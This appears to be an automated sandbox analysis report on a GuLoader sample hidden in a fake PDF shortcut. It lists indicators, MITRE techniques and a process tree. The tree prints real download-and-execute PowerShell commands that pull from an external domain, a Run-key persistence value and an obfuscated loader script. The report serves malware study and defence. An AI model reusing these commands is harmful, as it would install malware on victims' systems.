guloader | cc45b6994df0b4c0ea68f6b98548e3dbce7019e43df43790200bef925697abda

Analysis

max time kernel
47s
max time network
44s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
03/04/2024, 12:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Eric Ferber.pdf.lnk
Size 2KB
Sample240403-pw444sdf49
SHA256 cc45b6994df0b4c0ea68f6b98548e3dbce7019e43df43790200bef925697abda
MD5 8a37d08278ed016e5ed771c16628d172
SHA1 9ad683328395f3ad3a8133da1aaf41ac5ced75b1
SHA512 b5243a59a93cfaabd46697c515e6a83184b35237e63b288e8f4c8802bd605d69a09d3ea72d9089a8d289eb139354517a95c71818c449359ebba00f7c7ac1053d
MD5 SHA1 SHA512

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	692	powershell.exe
20	4320	WScript.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Hopbine204 = "%Corequisite205% -w 1 $Brnebilletternes=(Get-ItemProperty -Path 'HKCU:\\monti\\').Retfrdiggres;%Corequisite205% ($Brnebilletternes)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
5596	wab.exe
5596	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3012	powershell.exe
5596	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3012 set thread context of 5596	3012	powershell.exe	123

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000_Classes\Local Settings	cmd.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5736	reg.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
692	powershell.exe
692	powershell.exe
4744	msedge.exe
4744	msedge.exe
1176	msedge.exe
1176	msedge.exe
2252	powershell.exe
2252	powershell.exe
2252	powershell.exe
3300	identity_helper.exe
3300	identity_helper.exe
3012	powershell.exe
3012	powershell.exe
3012	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3012	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	692	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	3012	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe
1176	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5596	wab.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3244 wrote to memory of 2212	3244	cmd.exe	87
PID 3244 wrote to memory of 2212	3244	cmd.exe	87
PID 2212 wrote to memory of 692	2212	WScript.exe	88
PID 2212 wrote to memory of 692	2212	WScript.exe	88
PID 692 wrote to memory of 1176	692	powershell.exe	92
PID 692 wrote to memory of 1176	692	powershell.exe	92
PID 1176 wrote to memory of 3652	1176	msedge.exe	93
PID 1176 wrote to memory of 3652	1176	msedge.exe	93
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4772	1176	msedge.exe	94
PID 1176 wrote to memory of 4744	1176	msedge.exe	95
PID 1176 wrote to memory of 4744	1176	msedge.exe	95
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96
PID 1176 wrote to memory of 4596	1176	msedge.exe	96

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Eric Ferber.pdf.lnk"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3244
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Windows\System32\SyncAppvPublishingServer.vbs" n; Invoke-WebRequest https://boyscametowork.com/wp-content/cvc1.png -O C:\Users\Public\Tas2s3Dsarat.pdf; C:\Users\Public\Tas2s3Dsarat.pdf; Invoke-WebRequest https://boyscametowork.com/wp-content/cvc2.png -O C:\Users\Public\Tkaour.vbs; C:\Users\Public\Tkaour.vbs
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer n; Invoke-WebRequest https://boyscametowork.com/wp-content/cvc1.png -O C:\Users\Public\Tas2s3Dsarat.pdf; C:\Users\Public\Tas2s3Dsarat.pdf; Invoke-WebRequest https://boyscametowork.com/wp-content/cvc2.png -O C:\Users\Public\Tkaour.vbs; C:\Users\Public\Tkaour.vbs}
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Public\Tas2s3Dsarat.pdf
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1176
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff663246f8,0x7fff66324708,0x7fff66324718
        5⤵
        
        PID:3652
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:2
        5⤵
        
        PID:4772
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4744
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2796 /prefetch:8
        5⤵
        
        PID:4596
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3216 /prefetch:1
        5⤵
        
        PID:992
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3240 /prefetch:1
        5⤵
        
        PID:3296
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4168 /prefetch:1
        5⤵
        
        PID:3912
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=4856 /prefetch:6
        5⤵
        
        PID:404
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5508 /prefetch:8
        5⤵
        
        PID:4736
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5508 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3300
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2280 /prefetch:1
        5⤵
        
        PID:1960
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5064 /prefetch:1
        5⤵
        
        PID:444
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5852 /prefetch:1
        5⤵
        
        PID:3328
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12166896154840179093,10145751009480396344,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5820 /prefetch:1
        5⤵
        
        PID:1136
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Public\Tkaour.vbs"
      4⤵
      Blocklisted process makes network request
      Checks computer location settings
      PID:4320
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Registreringspligter9 ($Stemmeurnen){$Stencilenes41 = $Stemmeurnen.Length-1; For ($Troupial=4; $Troupial -lt $Stencilenes41){$Kvdens=$Kvdens+$Stemmeurnen.Substring( $Troupial, 1);$Troupial+=5;}$Kvdens;}$Underivable=Registreringspligter9 ',aesh Fi,tdan,t ftapB,ltsPr.j:Sull/ ida/BibubuntroDy,fyHotesGldscKitnaVi,um AnteT wetForho UrswDi soM.shrConckInes.sovjcAceto crimK rk/BorswTektpKl m-,enscThrooInten B.ot ba.e FisnInd,tD sf/Bestl SoaeFracn InvoKommvFor.aLinocUdvis Anm2 Kin.Libep.osmn LiggAfli>S,ufhBo bt hydt UngpB grs edi:Luft/Unpe/I,dsbRadioTrefySka,sRegncMarkaRun mDee e RoctRaploferrwultro Utrr ,nrkMeta1 Cor.Kontce.too PosmU,st/PelfwPerspFeof-EpiccW.inoM.ssnFlyvtRange GionAlentT,ge/Fornl svee NonnJrlioRad,vMintaHedec,kris,app2 sli. .rop alnEftegSvr. ';$Strandbredderne=$Underivable.split([char]62);$Underivable=$Strandbredderne[0];$Kvdens01=Registreringspligter9 'UtiliUn.te ejxT ff ';$Kraftprstation = Registreringspligter9 'Cuti\ .orsStaty B.ssBallwOveroVar wBand6Acco4 Gou\S.liWKrudistatnLa ddCurro revwRe,esFruiPMon oTulcw,ngdeC nsrL.poS.vorhNyloeEpi,lB,kslAgra\ElecvMble1 Fi.. ,ra0 reu\Non,pBu,boFyrrwS,mfeScherSievs Unsh,pgre FralStillI.li. Na e SynxBikoeTsen ';&($Kvdens01) (Registreringspligter9 ' Aut$blinOSto rstrsdSpolfLockof.rerM.rimBlod2 Exp=Pilh$Adf.eCapsnMacavPayt:Unc wSpgeiElecnU,ekdBrndi DuerUdtr ') ;&($Kvdens01) (Registreringspligter9 'Jess$LithKbearrCoccaKassfJyn.tHeadp OutrArbesIn,et urraKolotunhei TreoEnlin Dec=Norm$BudwOScenrH.atdRawhf .ekoRa.erAntimNonp2Emis+ Pre$EquiKt,iprComoaD.scfCa otBrkspMassrRytmsS,udtA.syahaantA.tei PreoSolen,pls ') ;&($Kvdens01) (Registreringspligter9 'Beds$S.dePBageaSammaScr.kP,otrOrdia Sr.vLumbeF,tanStede avsPria P,in=Frey navb(Marg(S,ligte,uw .alm ariAske gi,wnonci TagnLide3Kage2 Kul_ fetpSk,gr PlaoEvancChateRes,sSchns non In.-BevaF Daa U,lmPsofarAl.ooRi,bcTalre AutsTydns .foIAzasdUdp.=Frim$ Ak {N.peP TryITackDBewa}Scra) Mis. De,CLeatoNonom uarmunfiaS,orn OmsdY glLPhotiLillnDatoe Krf)Ind Skil-Enehs DagpLan,lVingiBilltCard Unfa[ Elec pdahUdgralnsarB sc],mpl3 Kro4rive ');&($Kvdens01) (Registreringspligter9 'Skin$DatiDAntie,olpcSt neTje.nSluttLyfkrs fea OpblU,stiBinysGraniDel,n,errg.irk utm= il Gaff$EkspPValuaEllea S.akUnadrGrinaForuvBeroeImprn Ng eovers Cat[Lipo$P abPCoenaJobna Un,kKortr Sk,aTe,pvRomae smansubcelunasGal,.p locRigsoLivsuAbsun PretOnfa-Udvi2Knap] Bos ');&($Kvdens01) (Registreringspligter9 'Tro.$UndeA Mayc,illhEkspiFaggeFlypr Skr=.ueh(Saa TForne.apas .eftH,zr-AfsaPNeuraForht indhS,an Pers$PeriKSsonrXyloaPc af .outskibpNomir S,msEvigtAxi aBoomtophii Co.o .ionRynk),nde Bus-KongAFarvnNervdHa.a Alum(Syda[ .ubIHjemnEksttenc PRhynt P,lr lun] Tel:ansa:Omnos aasiFr.mzGra,esmaa Ran.-TackeSuc,q.edg tid8Sund)Roto ') ;if ($Achier) {&$Kraftprstation $Decentralising;} else {;$Kvdens00=Registreringspligter9 'F atSSumptFlanaCircrBlistHakn-Blo B Ovei Cout FodsAsseTUnder iskaSingnAfprsSnakfMisse .rgrUncr Brug-BlaaSA oroEneiu G ar Selc ausePhil or$MediU Un nSnowdMinieAn.irSlg i Forv SneaFlyvb GrolParae De Op.-BasiD .oreHalvsErnrtMonoiUnfun danaAppetRev.i MonoBehnnTraf Sogn$ IstOKomorwhi.dhypefSta oK mur .gemOp u2 Re ';&($Kvdens01) (Registreringspligter9 'Inc,$O erOTud.r nivdserof.npooLovfr Jorm Led2Fo.b= pnd$Pl,ieO.sanFredvToxi:Sv maM.mbpRatippyntdFixsaSpint AttaChem ') ;&($Kvdens01) (Registreringspligter9 'Hed.ISargmHekspPseuoCounrL,vltIn,a-Svi.M.illoSpiddMunduChamlMacce,rgn canB G,diGorgtOmbysMas,T.aetrLuriaFro.nDitcs EllfDobbe.orbrErot ') ;$Ordform2=$Ordform2+'\Fairest207.Teg';while (-not $Unnamably) {&($Kvdens01) (Registreringspligter9 'Frem$PeriUMassn desnAdveaK romE.deaCircbS.nglUdviy Fin=Sem.(lituT Fyle HjtsD.metAvls-KamiPAfs.a umtChothMe a O.al$SiseO.jenr S pdSp lfFlamoC virIntem Ing2Klos)Bra ') ;&($Kvdens01) $Kvdens00;&($Kvdens01) (Registreringspligter9 'SplaSHvlstmi.ia,averCaratHalc- Su,SU.shl.ixieMyrme Vi pSams Frih5Pseu ');$Underivable=$Strandbredderne[$Manganosiderite++%$Strandbredderne.count];}&($Kvdens01) (Registreringspligter9 'Si,g$MycoRDrage SodgU,sti,aansUddatPhytrCu,te limrpresiMonanPaa,gRehesTermpoutvlIn oiBuntgUniftResieEquar,edo Neut=Russ .hryGMyste.atrtDr,m-Sv nCAd.poFljln.hectPsycevo.enUdsltOlym Om,a$ ourO,orsr,dkedKompfOwlboTerrr Valmevin2Hvdi ');&($Kvdens01) (Registreringspligter9 '.oun$OkseD,scerS.ydo UnsmNgleeBo t Heme=.rkv Tyve[GrdiSReicySkoksschmtPneueA pem .to.LivmC ,aco Unbn HaavAlpeePterrEp,st.imo]Unpe:Capo:For,FL,earBadeoSolimStr.B i caH,emsDj seMa o6Norm4cliqS P,etStelr SomiPrion.ossgP,er( Com$ioniRIno eLen gLarei M,lsBe jtE eprOvereMetar ArriHeten nudg ricsS,ovpSc.elCit,i ongCompt Graepeplrba.s)Indi ');&($Kvdens01) (Registreringspligter9 'Nit,$ SpiK.ldtvRavkd FuneC,punTe.tsTitm2,ori ti s= Ex, Udkm[ StrSFornyPeris.ndetbak.emes mEd,c.SkitTR,dmeCafexEgypt Phy.fideE Invn F,rcAftooKarndL.mpiDogmnOutkgH,ve]Pers: nar:GettA GinSSljdC IsoIAplaITor,.Shu,G Ma eSnekt Tr.S Brot HyprSuk,iUnsun .lugBa,n( Opt$PalaDNonirsviroInsom mase Sku) S.m ');&($Kvdens01) (Registreringspligter9 'Bogc$FrdsOTil.rHvilaSternsc tgAnimofaseuKunst BunaRa.pn nfigNe s=Indk$For,KPsilvUnf,dRengeGardn,acksMi.d2Braz.Phoss antu Phob WeesTsettCrumrtraaiFlinn risghost(Dend3 eri0,gua5Anio2Skru8 The6Limn,Lys 2Minn5Tand3 Out1 Ab,8 Po.)Beds ');&($Kvdens01) $Orangoutang;}"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2252
      - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Registreringspligter9 ($Stemmeurnen){$Stencilenes41 = $Stemmeurnen.Length-1; For ($Troupial=4; $Troupial -lt $Stencilenes41){$Kvdens=$Kvdens+$Stemmeurnen.Substring( $Troupial, 1);$Troupial+=5;}$Kvdens;}$Underivable=Registreringspligter9 ',aesh Fi,tdan,t ftapB,ltsPr.j:Sull/ ida/BibubuntroDy,fyHotesGldscKitnaVi,um AnteT wetForho UrswDi soM.shrConckInes.sovjcAceto crimK rk/BorswTektpKl m-,enscThrooInten B.ot ba.e FisnInd,tD sf/Bestl SoaeFracn InvoKommvFor.aLinocUdvis Anm2 Kin.Libep.osmn LiggAfli>S,ufhBo bt hydt UngpB grs edi:Luft/Unpe/I,dsbRadioTrefySka,sRegncMarkaRun mDee e RoctRaploferrwultro Utrr ,nrkMeta1 Cor.Kontce.too PosmU,st/PelfwPerspFeof-EpiccW.inoM.ssnFlyvtRange GionAlentT,ge/Fornl svee NonnJrlioRad,vMintaHedec,kris,app2 sli. .rop alnEftegSvr. ';$Strandbredderne=$Underivable.split([char]62);$Underivable=$Strandbredderne[0];$Kvdens01=Registreringspligter9 'UtiliUn.te ejxT ff ';$Kraftprstation = Registreringspligter9 'Cuti\ .orsStaty B.ssBallwOveroVar wBand6Acco4 Gou\S.liWKrudistatnLa ddCurro revwRe,esFruiPMon oTulcw,ngdeC nsrL.poS.vorhNyloeEpi,lB,kslAgra\ElecvMble1 Fi.. ,ra0 reu\Non,pBu,boFyrrwS,mfeScherSievs Unsh,pgre FralStillI.li. Na e SynxBikoeTsen ';&($Kvdens01) (Registreringspligter9 ' Aut$blinOSto rstrsdSpolfLockof.rerM.rimBlod2 Exp=Pilh$Adf.eCapsnMacavPayt:Unc wSpgeiElecnU,ekdBrndi DuerUdtr ') ;&($Kvdens01) (Registreringspligter9 'Jess$LithKbearrCoccaKassfJyn.tHeadp OutrArbesIn,et urraKolotunhei TreoEnlin Dec=Norm$BudwOScenrH.atdRawhf .ekoRa.erAntimNonp2Emis+ Pre$EquiKt,iprComoaD.scfCa otBrkspMassrRytmsS,udtA.syahaantA.tei PreoSolen,pls ') ;&($Kvdens01) (Registreringspligter9 'Beds$S.dePBageaSammaScr.kP,otrOrdia Sr.vLumbeF,tanStede avsPria P,in=Frey navb(Marg(S,ligte,uw .alm ariAske gi,wnonci TagnLide3Kage2 Kul_ fetpSk,gr PlaoEvancChateRes,sSchns non In.-BevaF Daa U,lmPsofarAl.ooRi,bcTalre AutsTydns .foIAzasdUdp.=Frim$ Ak {N.peP TryITackDBewa}Scra) Mis. De,CLeatoNonom uarmunfiaS,orn OmsdY glLPhotiLillnDatoe Krf)Ind Skil-Enehs DagpLan,lVingiBilltCard Unfa[ Elec pdahUdgralnsarB sc],mpl3 Kro4rive ');&($Kvdens01) (Registreringspligter9 'Skin$DatiDAntie,olpcSt neTje.nSluttLyfkrs fea OpblU,stiBinysGraniDel,n,errg.irk utm= il Gaff$EkspPValuaEllea S.akUnadrGrinaForuvBeroeImprn Ng eovers Cat[Lipo$P abPCoenaJobna Un,kKortr Sk,aTe,pvRomae smansubcelunasGal,.p locRigsoLivsuAbsun PretOnfa-Udvi2Knap] Bos ');&($Kvdens01) (Registreringspligter9 'Tro.$UndeA Mayc,illhEkspiFaggeFlypr Skr=.ueh(Saa TForne.apas .eftH,zr-AfsaPNeuraForht indhS,an Pers$PeriKSsonrXyloaPc af .outskibpNomir S,msEvigtAxi aBoomtophii Co.o .ionRynk),nde Bus-KongAFarvnNervdHa.a Alum(Syda[ .ubIHjemnEksttenc PRhynt P,lr lun] Tel:ansa:Omnos aasiFr.mzGra,esmaa Ran.-TackeSuc,q.edg tid8Sund)Roto ') ;if ($Achier) {&$Kraftprstation $Decentralising;} else {;$Kvdens00=Registreringspligter9 'F atSSumptFlanaCircrBlistHakn-Blo B Ovei Cout FodsAsseTUnder iskaSingnAfprsSnakfMisse 